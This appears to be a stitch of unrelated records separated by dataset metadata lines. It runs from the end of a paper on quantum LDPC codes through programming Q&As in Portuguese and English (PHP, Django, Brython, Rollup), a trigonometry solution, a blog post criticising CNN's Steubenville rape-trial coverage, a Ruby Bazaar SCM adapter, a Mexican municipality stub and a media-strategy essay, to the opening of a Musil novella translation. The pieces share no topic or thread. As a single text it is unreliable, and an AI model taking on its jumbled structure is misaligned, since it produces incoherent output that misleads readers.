Indeed, from (\ref{eq:LP-dual-dim}) it follows that $d_{\mathrm{X}}(\mathcal{Q}) = d_{\mathrm{Z}}(\mathcal{Q}')$, where $\mathcal{Q}' = \mathrm{LP}(A^\mathrm{T}, b)$. If we apply Lemma~\ref{lm:LP-simple-cws} to the~code $\mathcal{Q}'$, then we obtain that $[\mathbf{0}, \ones{\ell}v']$ is a~non-degenerate codeword from~$\mathcal{C}_{\mathrm{Z}}(\mathcal{Q}')$ if $v' \not\in \im B^\mathrm{T}$, where $B = A(1)\!\in\!\Mat_{m\times wn}(\mathbb{F}_2)$. Since $m < wn$, the column space of $B^\mathrm{T}$ does not contain some standard basis vector $e_i = (0,\dots,1,\dots,0)\in\mathbb{F}_2^{wn}$. Therefore $c=[\mathbf{0}, \ones{\ell}e_i]$ is a non-degenerate codeword from $\mathcal{C}_{\mathrm{Z}}(\mathcal{Q}')$, and $d_{\mathrm{X}}(\mathcal{Q})=d_{\mathrm{Z}}(\mathcal{Q}') \le \abs{c} = \ell$. Hence we finally obtain that $d(\mathcal{Q})=\Theta(\ell) = \Theta(N/\log N)$, and the~proof is complete.
\end{proof}
\section{Conclusion}
We have demonstrated that the family of lifted product codes from our previous work~\cite{Panteleev&Kalachev:2019} contains QLDPC codes of dimension $\Theta(\log N)$ and \mbox{distance} $\Theta(N/\log N)$ as the~code length~$N\to\infty$. Moreover, we have shown a~way how to increase their dimension and obtained QLDPC codes of dimension~$\Omega(N^\alpha \log N)$ and \mbox{distance}~$\Omega(N^{1-\alpha/2}/\log N)$, where $0 \le \alpha < 1$. To the best of our knowledge, the~parameters of the~obtained codes are better than for previous QLDPC constructions. Let us note that the~obtained distance $\Theta(N/\log N)$ is also asymptotically larger than the currently best-known distance $N^{1-\varepsilon}$ for sparse subsystem codes~\cite{Bacon:2017}, where $\varepsilon=O(1/\sqrt{\log N})$.
We should emphasize that Proposition~\ref{pr:main} allows us, in principle, to obtain (with some extra work) QLDPC codes, where $d_{\mathrm{Z}} = \Theta(N)$ and $d_{\mathrm{X}} = \Theta(N/\log N)$. Though we think that we know how to achieve this, we do not present a~formal proof here in order to make our construction of the~Tanner code $\mathcal{T}(G,\mathcal{C}_0)$ as simple as possible.
As a~simple byproduct of the proof of Theorem~\ref{th:main1} we have also constructed a~family of classical QC~LDPC codes of any design rate and distance $\Theta(N)$ with, in some sense, optimal circulant size $\Omega(N/\log N)$.
Besides, we have further generalized our construction from~\cite{Panteleev&Kalachev:2019}, and obtained a~large class of CSS codes called lifted product codes.
The proposed codes are quite general and contain many of the best-known quantum LDPC codes such as the hypergraph product codes~\cite{Tillich&Zemor:2009}, the bicycle codes~\cite{Mackay:2004}, the~Haah's cubic codes~\cite{Haah:2011}.
Some of the codes from this class (e.g., the~codes $\mathrm{LP}(A,A^*)$ from Example~\ref{ex:LP}) have the~dimension $K=\Theta(N)$ as $N\to\infty$, but the~only upper bound on the~minimum distance we have now is $O(N/\log N)$. However, we should warn the~reader that the~methods we used in~the~proof of~Proposition~\ref{pr:main} cannot be directly applied here. Therefore it is an~interesting open problem whether some of these codes have distance that matches this upper bound. It is also interesting weather this distance can be made linear using other matrix rings $R\subseteq \Mat_{\ell\times\ell}(\mathbb{F}_2)$, e.g. non-commutative ones.
We have also extended the~lifted product operation from codes to chain complexes. It naturally generalizes the~standard tensor product of two complexes, widely used in the~context of quantum codes. Though we do not discuss it here, this operation can be used to obtain quantum codes out of quantum and classical codes. For example, any quasi-cyclic (classical or quantum) code~$\mathcal{C}$ of lift size $\ell$ can be combined with some other quasi-cyclic code (classical or quantum) $\mathcal{C}'$ of the~same lift size in order to produce a~quantum code from the~lifted product $\mathcal{C}\otimes_{\ell} \mathcal{C}'$. We think that obtaining such codes, and estimating their parameters can also be an~interesting line of future research.
\section*{Acknowledgment}
This work was supported by the Ministry of Science and Higher Education of the Russian Federation (Grant №~075-15-2020-801).
\ifCLASSOPTIONcaptionsoff
\newpage
\fi
\bibliographystyle{IEEEtran}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 2,522 |
Q: Imprimir destacado valores específicos da matriz Em meus estudos aqui com matrizes estou tentando destacar apenas os valores impares (deixar em negrito), mas não estou entendo como fazer isso. Abaixo segue o que fiz, mas estra imprimindo tanto os números em negrito como os normais.
<?php
$matriz = array(
array(50, 35, 44),
array(25, 11, 32),
array(53, 95, 78)
);
foreach ($matriz as $v1) {
foreach ($v1 as $v2) {
echo $v2, ' '; // imprime todos valores com espaço
if ($v2 & 1) { // se for impar
echo '<b>', $v2, '</b>';
}
}
echo '<br/>';
}
?>
A: Para saber se um número é para ou impar, use o seguinte:
Par:
$numero % 2 == 0
Impar:
$numero % 2 == 1
Assim fica mais claro o que quer dizer, na minha opinião.
Além disso, não usaria <b> e sim <strong>.
A: Seu problema foi um simples erro de lógica ao utilizar dois echo para imprimir os itens, o correto seria o seguinte:
foreach ($matriz as $v1){
foreach ($v1 as $v2){
// eu removi o echo daqui
if ($v2 & 1) { // se for impar
echo '<b>', $v2, ' </b>';
} else {
echo $v2,' '; // e coloquei ele aqui
}
}
echo '<br/>';
}
O que estava errado era que você primeiro imprimia todos os itens do array, e depois criava um if() imprimindo uma segunda vez os itens que eram ímpares, desta vêz em negrito. Por isto estes itens ficavam duplicados.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 3,520 |
{"url":"https:\/\/www.esaral.com\/q\/if-a-b-and-c-are-interior-angles-of-a-triangle-abc\/","text":"If A, B and C are interior angles of a triangle ABC,\nQuestion.\n\nIf $A, B$ and $C$ are interior angles of a triangle $A B C$, then show that $\\sin \\left(\\frac{B+C}{2}\\right)=\\cos \\frac{A}{2} .$\n\nSolution:\n\nA + B + C = 180\u00b0\n\n$\\Rightarrow \\mathrm{B}+\\mathrm{C}=180^{\\circ}-\\mathrm{A}$\n\n$\\Rightarrow \\frac{\\mathbf{B}+\\mathbf{C}}{2}=\\frac{180^{\\circ}-\\mathbf{A}}{2} \\Rightarrow \\frac{\\mathbf{B}+\\mathbf{C}}{2}=\\left(\\mathbf{M}^{\\circ}-\\frac{\\mathbf{A}}{2}\\right)$\n\n$\\Rightarrow \\sin \\left(\\frac{\\mathbf{B}+\\mathbf{C}}{\\mathbf{2}}\\right)=\\sin \\left(\\mathbf{8 0}^{\\circ}-\\frac{\\mathbf{A}}{\\mathbf{2}}\\right)=\\cos \\frac{\\mathbf{A}}{\\mathbf{2}}$\n\n$\\left\\{\\because \\sin \\left(90^{\\circ}-\\theta\\right)=\\cos \\theta\\right\\}$\nEditor","date":"2022-09-25 08:05:52","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.18820060789585114, \"perplexity\": 165.95478408525608}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030334515.14\/warc\/CC-MAIN-20220925070216-20220925100216-00247.warc.gz\"}"} | null | null |
Q: Django, edit button with modal form does not works In one of my django app I have set the following architecture:
#models.py
class Income(models.Model):
price = models.DecimalField()
quantity = models.DecimalField()
date=models.DateField()
# forms.py
class IncomeForm(forms.ModelForm):
class Meta:
model = Income
fields = "__all__"
#views.py
def income_(request):
elements = Income.objects.all()
if request.method == 'POST':
form = IncomeForm(request.POST)
if form.is_valid():
new_input = form.save()
else :
form = IncomeForm()
elements = Income.objects.all()
context= {
'form': form,
'elements':elements,
}
return render(request, "income/income.html", context)
def edit_income(request):
pk = request.GET.get('pk')
object = get_object_or_404(Income, pk = pk)
form = IncomeForm(instance=object)
return render(request, 'edit_income.html', {
'object': object,
'pk': pk,
'form': form,
})
After that I have set the following urlspatterns:
path('magazzino/gestionemagazzino/', views.income_, name ='gestione_magazzino'),
path('magazzino/edit_modal/<int:materiale_pk/>', views.edit_income, name='edit_income')
In my income.html file I have set the following
{% load crispy_forms_tags %}
<form id="" method="post">
<div class="form-group col-2 0 mb-0" >
{{form.quantity|as_crispy_field}}
</div>
<div class="form-group col-2 0 mb-0" >
{{form.price|as_crispy_field}}
</div>
<div class="form-group col-2 0 mb-0" >
{{form.date|as_crispy_field}}
</div>
</div>
After that I have created a table that list all data filled and in the last column I have set the following button:
<button id="myBtn" data-target="#myModal"> </button>
Now I want to create a button for each row that open a modal form that give me the possibility to modify the specific data for each id dataset.
I have tried to perform the following script:
$(document).ready(function(){
$("#myBtn").click(function(){
var pk = $(this).data('pid')
$("#myModal").modal("show");
});
$("#myModal").on('show.bs.modal', function(event){
var modal = $(this)
var pk = $(this).data('pid')
$.ajax({
data: {'pk': pk},
url: "{% url 'edit_income' %}",
context: document.body,
error: function(response, error) {
alert(error);
}
}).done(function(response) {
modal.html(response);
});
});
});
That open the following edit_income.html:
<div class="modal-dialog modal-lg" role="document">
<form action="{% url 'edit_paper' pk=object.pk %}" method="post" class="form" enctype="multipart/form-data">
{% csrf_token %}
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
<span class="sr-only">Close</span>
</button>
<h4 class="modal-title">Edit Income</h4>
</div>
<div class="modal-body">
{% csrf_token %}
{{form|crispy}}
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<input type="submit" class="btn btn-primary" value="Save changes" />
</div>
</div><!-- /.modal-content -->
</form>
</div>
But if I press on the button does not work nothing. Where is the issue?
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 5,157 |
Q: Online Admissions System I am working on Online Admissions System in mysql and php.
I need to save applicant's personal as well as academic details. So far I have created one table to save personal details with Applicant Id (auto increment) as a Primary Key. But for academic details I am bit confused. The fields required for academic details are:
Degree Level (like Master, Bachelor, high school);
Roll No;
Subjects;
Grade;
Institution;
Percentage;
Degree image (image field to save scanned copies of transcripts).
I do not know how to relate these two tables. Would uploading image files (scanned copies of transcripts) affect the database performance?
A: You would have 2 tables
Applicants
Id | Name | Address | etc, etc
AcademicDetails
Id | ApplicantId | Degree | RollNo | DegreeImageUrl | etc, etc
To list all applicants
SELECT * FROM Applicants
To search for a specific Applicant by Name.
SELECT * FROM Applicants WHERE name = 'Tom Jones'
To select an Applicant Id=1 and all their Academic details use a join
SELECT * FROM Applicants JOIN AcademicDetails ON AcademicDetails.ApplicantId=Applicants.Id
WHERE Applicants.Id = 1
A: You could have a separate table with a structure similar to the following which would hold all of the various types of images you would need:
documents
--------------------
| id, INT AUTOINCREMENT
| applicant_id, INT
| type, VARCHAR(255)
| url, VARCHAR(255)
--------------------
The applicant_id would refer to the applicant to whom the documentation pertains to. The type field could be one of degree or transcript or whatever else type of documentation you support. And finally the url field would contain the location to the image. Preferably, you should have a PHP form that uploads images to a directory on your server and then adds a record to the documents table relating to what the user just uploaded.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 1,746 |
CNN Sympathizes With Rapists
Jeffrey Maciejewski Journalism Ethics March 21, 2013 March 22, 2013 2 Minutes
Earlier this week CNN's coverage of a Steubenville, Ohio rape case was criticized for being slanted. You can watch a clip of the network's coverage above. The high profile trial had attracted national attention, in part for the way that the victim was treated online. In the clip, CNN anchor Candy Crowley and correspondent Poppy Harlow cover the verdicts that were rendered to two teenage boys who were convicted of raping a teenage girl. CNN's coverage was criticized by The Huffington Post, in which Kia Kakarechi called out the network for its "embarrassing and damaging coverage." Most notable were the phrases used by Harlow, which appeared to deflect blame and show sympathy for the perpetrators who had just been convicted of rape.
Kathryn O'Driscoll, a UK-based blogger, effectively parsed Harlow's and Crowley's words to reveal the slant. Following are excerpts from the video followed by O'Driscoll's responses, which seem to be right on target.
Harlow: "these two young men that had such promising futures, star football players, very good students, literally watched as they believed their lives fell apart." O'Driscoll: "What about the victim? What about her life falling apart?"
Harlow: "He collapsed. He collapsed …" O'Driscoll: "[This] elicits sympathy. He collapsed? What about her?"
Harlow: "… alcohol a huge part of this …" O'Driscoll: "[This] detracts blame."
Harlow: "… it's really something that will have a lasting impact, much more of a lasting impact than going to a juvenile facility for one or two years …" O'Driscoll: "But less impact than the permenant (sic) scars of traumatic rape."
Moreover, as O'Driscoll points out, the network aired the perpetrators' apologies to the victim, which itself seemed to elicit sympathy for those who committed the crime. That CNN aired the victim's name is itself problematic, for many (if not most) news outlets have strict policies against revealing the names of rape victims.
So what are the ethics here? When examining O'Driscoll's response to Harlow's coverage, it's hard not to see the slant of the reportage. But was it intentional? That's hard to say, of course. Regardless, that Harlow and Crowley appeared to have so much sympathy for the perpetrators and so little for the victim is telling. Then again, it would have been best if CNN had covered the story objectively showing no emotion whatsoever; that would have been the right thing to do. However, they didn't do that. Instead, they covered a news event subjectively during which they appeared to direct sympathies toward those who had just been convicted of a brutal crime.
Sources: CNN, huffingtonpost.com, kathrynodriscoll.deviantart.com
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8 thoughts on "CNN Sympathizes With Rapists"
Please feel free to vent and to share your own thoughts! Thank you!
Hey guys! Here's an interesting, heartbreaking, and important post I found about what Rape Culture is and how it relates to the Steubenville case. (kind of obvious, but trigger warning for a lot of the stuff mentioned)
http://rantagainsttherandom.wordpress.com/2013/03/19/so-youre-tired-of-hearing-about-rape-culture/
Thanks for sharing, Carrie. This really helps point out the need for us as a society to realize how we treat victims of rape in this country!
If you'd like to see the "leaked" video pertaining to the girl, please click on Carrie's link above. Please be aware that it's quite disturbing.
this is the video from Anonymous, they even organized a protest
Thanks for sharing this, Dan. It certainly seems to provide more context for CNN's coverage and would seem to support the idea that CNN's Crowley, Harlow, and their producer(s), in addition to the attorney that Crowley interviewed, were either grossly uninformed about this case (that so many in Steubenville seemed implicated in a cover up) or knowing took the position they did in their reporting. Either way the result was not good.
Patrick Keaveny says:
If I had to guess, I'd say this whole "OMG CNN Sympathises with Rapists!!!" idea is simply a result of miscommunication. Given the tone of the CNN newscaster, she seems to sympathise with the rapists. Given the transcript however, I think the argument could be made either way.
News organizations usually refrain from focusing on the victim of rape, as it can lead to exploitation of the victim and urging him/her to recall traumatizing events, which can further exacerbate the situation and hinder the victim's right to privacy and recovery. I think in this case, someone higher-up didn't want to focus on the victim for this reason, yet probably didn't make that clear to whoever was tasked with doing the report. This person then thought that the higher-up wanted to focus on the perpetrators, and probably even wanted to show the consequences of being a rapist. In doing so, I think it came off as being a story sympathizing with rapists.
This is nobody's fault, it is simply miscommunication. I highly doubt that a news organization that has been doing stories about human dignity for several decades would suddenly forget its history and take the side of the rapists. I think this was simply a mistake, exacerbated by a public that is growing more and more distrustful of news organizations.
Well said, Patrick, well said. But if so, it would be nice to more about the precise nature of the miscommunication. They might not have wanted to impinge on the victim, but they should have thought about how not doing so would have sounded. Of course, without interviewing Crowley and Harlow, we'll never know. I'd like to give CNN the benefit of a doubt, too, but at the same time I'm curious about the route they took in covering the verdicts. | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 2,522 |
Q: How can I see output from a Brython script on the page? Why doesn't `print` work? I try to use Brython. I have a Python script (test.py) and I would like to display the result of this script in the browser.
I have tried :
<html>
<head>
<script src="brython.js"></script>
</head>
<body onload="brython()">
<script type="text/python" src="test.py"></script>
</body>
</html>
and my script is :
x = int(input("Value: "))
x = pow(x,2)
print("Result: " + str(x))
Unfortunately, I cannot display the result in the browser. Is there something missing ?
A: In Brython, print displays in the browser console.
If you want to write the result in the HTML document:
from browser import document
x = int(input("Value: "))
x = pow(x, 2)
document <= "Result: " + str(x)
[edit] Another option is to set sys.stdout to an object with a write() method, for instance document in module browser :
from browser import document
import sys
sys.stdout = document
print("Hello", "world !")
A: Add an id='fish' whatever for tag and then overwrite it in python:
<body id='fish' onload='brython()'>
and then:
d = document['fish']
d.clear()
d <= "Result: %s" % str(x)
Note that you need to call element .clear() first, <= is the same as Javascript .appendChild(), see the documentation: https://brython.info/static_doc/en/cookbook/content_in_div.html
If you want to see it in proper XHTML page, don't replace the whole body but just one div-element/tag for example. Or overwrite the whole body with all needed XHTML tags.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 782 |
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Why to Embrace Media Chaos
June 14, 2011 | By Mike Barrett
Many agencies kick off a client pitch from a perspective that assumes that the client needs serious help and must be saved from the media clutter in our society. Instead, it's better to flip that idea and ride the ups and downs of media chaos.
Whether people realize it or not, they are more interested and engaged in media than in anything else. And more than ever. People spend more time with media than they do with any other aspect of their life, in a non-stop and intensive manner. Because people are choosing to live with media as a constant component included in every activity, they are essentially leading mediated lives.
Think about the last time you stood in a line. The inevitable reaction to a line is to take out your phone and begin browsing. People browse through Facebook, check email, text with friends, shop online, play games on their PSP, and listen to music. Lines seem to move more quickly these days! Kids don't just go to school anymore; they surf the Web while they attend class. Laws have been created based on the fact that we can't bear to put our phones away while driving. The point is that there is almost no part of life that is unmediated. Media has become the lens through which we engage almost everything. From friends to entertainment, to managing a household and even work, media is enhancing and enriching almost every aspect of people's lives.
Many people point to this media-run life as though it is the symptom of some sort of problem and causing us to feel suffocated in the clutter. However, this behavior can be seen as the beginning of a solution – media is becoming the operating system through which people manage their lives. Keeping track of friends, managing schedules, staying on top of what's happening right now are all things happening through media because media is the most effective way to manage them. The challenge for marketers in this world is the same as it has always been: capturing and directing people's attention. There are three key things marketers must do to capture attention in the mediated life in order to stand out:
Creative media: Nearly all of the media that people are exposed to is standardized. We use the same ad formats, content formats, and channel strategies. Relying on standard media to communicate makes breaking through this clutter very difficult, given that people are spending approximately ten hours per day with media. It's somewhat akin to putting a brick in a wall and hoping that someone notices your brick. The good news is that people are hardwired to notice what's different. Make your brick a different color or shape, and people will notice. This is essentially what custom media does. It plays with the format and the content of standard media to create a new type of media experience, one that is much more noticeable and engaging.
Rapid-response media: Expectations are rising for what happens in media. If Stephen Colbert can mention something on his show half-jokingly, have his audience amplify it on Reddit, and have that turn into the Rally to Restore Sanity, then why can't your brand? If we know that young adults are leaving a trail of digital breadcrumbs behind them (i.e., what I search for, who my friends are, what I like, what my status updates are), then we need to take that information into consideration when we want to communicate with them to get a response.
Persistent experiences: People are loyal to content, not to channels. They don't care whether The Daily Show comes in through their TV, tablet or smartphone. They frequently engage with the same content simultaneously on several channels – for example, watching football on TV, managing a fantasy team on their tablet and texting with friends about it on their phone. This behavior represents an opportunity for brands to engage with people by offering something that enhances the experience of the media they are already using. Whether it's a sponsored player analyst for determining who you should start on your fantasy team (per our example above) that runs during pregame or a game that can be played with friends while watching Glee, it is critical to create experiences in media that are additive and complimentary to the content people are already consuming.
Mike Barrett is North America head of strategy at Universal McCann,the media agency owned by Interpublic Group.
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Digiday Media | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 2,213 |
Astacinga è una municipalità dello stato di Veracruz, nel Messico centrale, il cui capoluogo è la località omonima.
Conta 6.534 abitanti (2015) e ha una estensione di 69,09 km².
Il significato del nome della località in lingua nahuatl è luogo dei piccoli aironi.
Note
Altri progetti
Collegamenti esterni
Todos Los Municipios de México
Comuni del Veracruz | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 3,131 |
Q: appending object references to python list with boost I have a vector of pointers to objects in c++ and want to expose it to python with a list. So far I gave a reference of a python list to c++. I figured pointers are not suitable for python so I read about how to make a pointer to a reference by (*obj) it. But when I call: myList.append((*obj)); python just crashes. Can someone tell me how to put objects I only have pointers of into a python list correctly so I can manipulate that list later?
Greetings
Chris
A: Okay so the Problem appears when the type is not declared for boost::python. !
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 5,884 |
Q: Nextjs: running code after complete fetch This is my code:
async function checkAuth() {
console.log("3")
await fetch(apiUrl+'/auth', {
method: 'POST'
}).then(response => response.json()).then(result => {
console.log("5")
}).catch(error => {
console.log("6")
})
console.log("4")
}
function getFirstData() {
console.log("1");
checkAuth()
console.log("2");
}
I want to checkAuth() run first, and after finish it, another code will be run.
So, my result should be:
13542
But my code not work
A: try this.
async function getFirstData() {
console.log("1");
await checkAuth()
console.log("2");
}
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 4,518 |
require 'cerberus/utils'
require 'cerberus/scm/base'
require 'time'
class Cerberus::SCM::Bazaar < Cerberus::SCM::Base
def installed?
exec_successful? "#{@config[:bin_path]}bzr --version"
end
def update!
if test(?d, File.join(@path, '.bzr'))
extract_last_commit_info
@old_revision = @revision
# Revert in an attempt to avoid conflicts from local file changes
execute("revert", "--no-backup 2>&1")
@status = execute("update", "2>&1")
else
@old_revision = 0
FileUtils.rm_rf(@path) if test(?d, @path)
@status = execute("checkout", nil, @config[:scm, :url])
end
extract_last_commit_info
end
def has_changes?
@revision.to_i > @old_revision.to_i
end
def current_revision
@revision
end
def last_commit_message
@message
end
def last_author
@author
end
private
def execute(command, parameters = nil, pre_parameters = nil)
`#{@config[:bin_path]}bzr #{command} #{pre_parameters} #{@encoded_path} #{parameters}`
end
def extract_last_commit_info
lastlog = execute("log", "-r-1")
# ------------------------------------------------------------
# revno: 2222
# committer: Paul Hinze <phinze@vpr0304>
# branch nick: my-trunk
# timestamp: Tue 2009-04-21 18:52:54 -0500
# message:
# sidfugsdiufgsdifusdg
@revision = lastlog.match(/^revno: (\d+).*$/)[1].to_i
@author = lastlog.match(/^committer: (.+)$/)[1]
@date = Time.parse(lastlog.match(/^timestamp: (.+)$/)[1])
@message = lastlog.match(/message:\n (.*)/m)[1]
end
end
| {
"redpajama_set_name": "RedPajamaGithub"
} | 6,309 |
Q: Use rollup to build js file which import an external module that has no exports declaration, the output file cannot be load For example, I have js file as following:
// index.js in current folder
require('external');
console.log('zzzzzzzz');
And I have an external module in my node_modules folder just like following:
// external.js in node_modules folder
consoler.log('eeeeeeee');
// there has no any exports define.
Note: This module is just an example, actual module is for browser, it define a JQuery plugin. For an example, you can reference to 'bootstrap-switch' NPM package.
Back to my question, I wrote a rollup.config.js file like following to build my index.js file to UMD module.
// rollup.config.js in current folder
import nodeResolve from 'rollup-plugin-node-resolve';
import commonjs from 'rollup-plugin-commonjs';
export default {
entry: 'index.js',
dest: 'bundle.js',
format: 'umd',
external: ['external'],
plugins: [
nodeResolve({
skip: 'external'
}),
commonjs()
],
moduleName: 'test'
}
In this config, I define 'external' module as external module to avoid rollup to bundle it into bundle.js.
when I run rollup -c in terminal. I got a bundle.js file as following:
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory(require('external')) :
typeof define === 'function' && define.amd ? define(['external'], factory) :
(global.test = factory(global.external));
}(this, (function (external) { 'use strict';
external = 'default' in external ? external['default'] : external; // Crack here
console.log('zzzzzzzz');
var index = {
};
return index;
})));
When I load bundle.js into browser through RequireJS, I will got an exception on Ln 6, because 'external' parameter is undefined (external module did't exports anything).
Anyone help me? Thanks.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 1,658 |
var UserCalendar = (function () {
function UserCalendar() {
return app.getFramework().define('userCalendar', {
user_id: {
type: app.getFramework().definition.INTEGER,
references: {
model: app.getEntity('User'),
key: 'id'
}
},
date: app.getFramework().definition.DATE,
start_time: app.getFramework().definition.DATE,
end_time: app.getFramework().definition.DATE
});
}
return UserCalendar;
})();
exports.UserCalendar = UserCalendar;
| {
"redpajama_set_name": "RedPajamaGithub"
} | 761 |
English-language translation and afterword © Peter Wortsman, 2019
First Archipelago Books edition, 2019
Originally published in 1911 as _Vereinigungen_ by the Georg Müller Verlag in Munich.
All rights reserved. No part of this book may be reproduced or transmitted in any form without the prior written permission of the publisher.
Archipelago Books
232 Third Street #A111
Brooklyn, NY 11215
www.archipelagobooks.org
Library of Congress Cataloging-in-Publication Data
Names: Musil, Robert, 1880-1942 author. | Wortsman, Peter, translator.
Musil, Robert, 1880-1942. Vollendung der Liebe. English.
Musil, Robert, 1880-1942. Versuchung der stillen Veronika. English.
Title: Intimate ties : two novellas / by Robert Musil; translated by Peter Wortsman.
Description: First Archipelago Books edition. | Brooklyn, NY : Archipelago Books, 2019.
Identifiers: LCCN 2018023619 | ISBN 9781939810236 (pbk. : alk. paper)
Classification: LCC PT2625.U8 A2 2019 | DDC 833/.912–dc23
LC record available at <https://lccn.loc.gov/2018023619>
Ebook ISBN 9781939810243
Cover art: Marcos Sanches
Distributed by Penguin Random House
www.penguinrandomhouse.com
This work was made possible by the New York State Council on the Arts with the support of Governor Andrew M. Cuomo and the New York State Legislature.
Archipelago Books also gratefully acknowledges the generous support from Lannan Foundation, the Carl Lesnor Family Foundation, the Austrian Cultural Forum New York, and the New York City Department of Cultural Affairs.
v5.4
a
Cover
Title Page
Copyright
The Culmination of Love
The Temptation of Silent Veronica
Preserving the Imprint of the Ineffable in Musil's Prose, (A Translator's Afterword)
Acknowledgements
# The Culmination of Love
"CAN YOU REALLY not come along?"
"It's impossible; you know I have to try to finish up as quickly as possible."
"But Lilli would be so glad..."
"I know, I know, but I just can't do it."
"And I have absolutely no desire to travel without you..."
His wife said this while pouring tea, at the same time glancing over at him in the corner of the room, where he was seated in the easy chair upholstered with the light flowery pattern, smoking a cigarette. It was evening and the dark green shutters on the windows faced the street in a long row of other identical dark green shutters. Like a pair of dark, serenely lowered eyelids, they hid the glimmer of this room in which the tea now trickled from a matte silver pot into two cups, flung open with a quiet clang and then holding still in the shaft of light like a twisted, transparent column of soft brown topaz...Green and gray shadows, also a bit of blue and yellow were folded into the slightly battered surface of the pot; the shadows lay still, as if once having run together they were no longer able to part ways. But the woman's arm protruding from the pot and the look with which she regarded her husband met at a stiff and rigid angle.
A perfectly ordinary angle indeed, as one could well see; but only the two individuals in question could sense its almost bodily bend, it seemed to them as if it spanned the distance between them like a stanchion of the hardest metal, holding each of them in place and yet, despite the distance between them, binding them together into a single entity you could almost grasp;...it braced itself against the pits of their stomachs, where they felt its force...it held them stiffly in place grasping the armrests of their chairs, in which they sat frozen with expressionless faces and steadfast gaze, yet feeling there where it struck them a silken quiver, something altogether light, as if their hearts came fluttering together like two swarms of small butterflies...
The entire room hung, as if on a quietly trembling axis, on this thin, hardly real and yet so palpable feeling, linking the two people in its emotive tilt: the objects in its path held their breath, the light striking the wall congealed into golden lace,...all was suspended in silent expectation, existing only for its own sake;...time that runs through the world like an endless glistening thread seemed to run down the middle of the room, to run right through the two people, and then suddenly stop and grow stiff, very stiff and silent and glistening...and the objects pressed a little closer together. It was that silent standstill followed by a quiet sinking, as when two surfaces align and a crystal congeals...Around these two people bisected by the stillness, stirred by this holding of breath, this cambering of time, as if struck by thousands of reflective surfaces, they suddenly gazed at each other, and gazed again as if each saw the other for the first time...The woman set down the teapot, her hand sank to the table; everything fell back, as if weighed down by the heft of happiness, into the cushion of its essence, and as the two kept their eyes fixed on each other they smiled as if lost to the world and gripped by the need to say nothing about themselves; they spoke again of the sick person, of a sick person in a book they had both read, starting right off with a precise passage and question, as if they'd been thinking of it, although that was not the case, for they were merely resuming a conversation that in a strange way had held them entwined for days, as if hiding the face of their true thoughts, and while the exchange treated the subject of the book, its intent was, in fact, turned elsewhere; and after a while, their musings managed somehow, albeit unnoticeably, to pass from this unconscious pretext back again to themselves.
"How might a person like this G. see himself?" the woman asked, and lost in thought, muttering almost to herself, continued: "He leads children astray, inveigles young women; and then he stands there and smiles and gapes, transfixed by the erotic rise that flashes in him like a feeble glimmer. Do you think he knowingly means to wrong his victims?"
"Does he mean to?...Maybe, maybe not," the man replied, "the question may not even apply in the case of such sentiments."
"I think, rather," said the woman, thereby revealing that she was not so much speaking of this one random individual, but rather of a certain something that emerged from the shadow behind the man, "I think he means to do good."
Their thoughts dived silently a while side by side, then resurfaced in words – way out in the murky depths of consciousness; it was nevertheless as if holding hands, still in the grip of silence, all had been said. "He hurts his victims in an insidious way, he must know that he demoralizes them, disturbs the tender balance of their sensuality, and sets it on a course that will never again attain an equilibrium...and yet, it is as if in so doing, a smile blossomed on his lips...so soft and pale, so wistful and yet so determined, so tender;...with a smile that wafts tenderly over his victim and himself, like a rainy dawn wafting over the earth, heaven-sent, unfathomable, his wistfulness dissimulating all regret, all the ill he commits swept up in the passion of the act...Is not every brain lonesome and unique?"
"Yes, indeed, is not every brain lonesome and unique?" Silent again, these two people simultaneously thought of a third, unknown, one of those innumerable third persons, as though they were traveling together through a landscape: trees, meadows, a sky, and suddenly drawing a blank as to why it's blue here and cloudy there;...they sensed all those third persons standing around, like that great sphere that surrounds us and sometimes regards us with a strange and glassy gaze and gives us the shivers when the flight of a bird scratches an incomprehensible lurching line through it. All of a sudden that evening-tinged room filled up with a cold, faraway, noontime-bright solitude.
Then one of them said, and it was as if someone had softly stroked a violin: "...it's like a house with locked doors. Maybe what he did feels to him like soft music, but who can hear it? Filtered through that maudlin melody maybe it all turns into a soft wistfulness..."
And the other replied: "Perhaps he kept prying at his own recesses with groping hands in search of a door, and finally stopped and just lay his face against the condensed panes of separation and from a distance spied the beloved victim and smiled..."
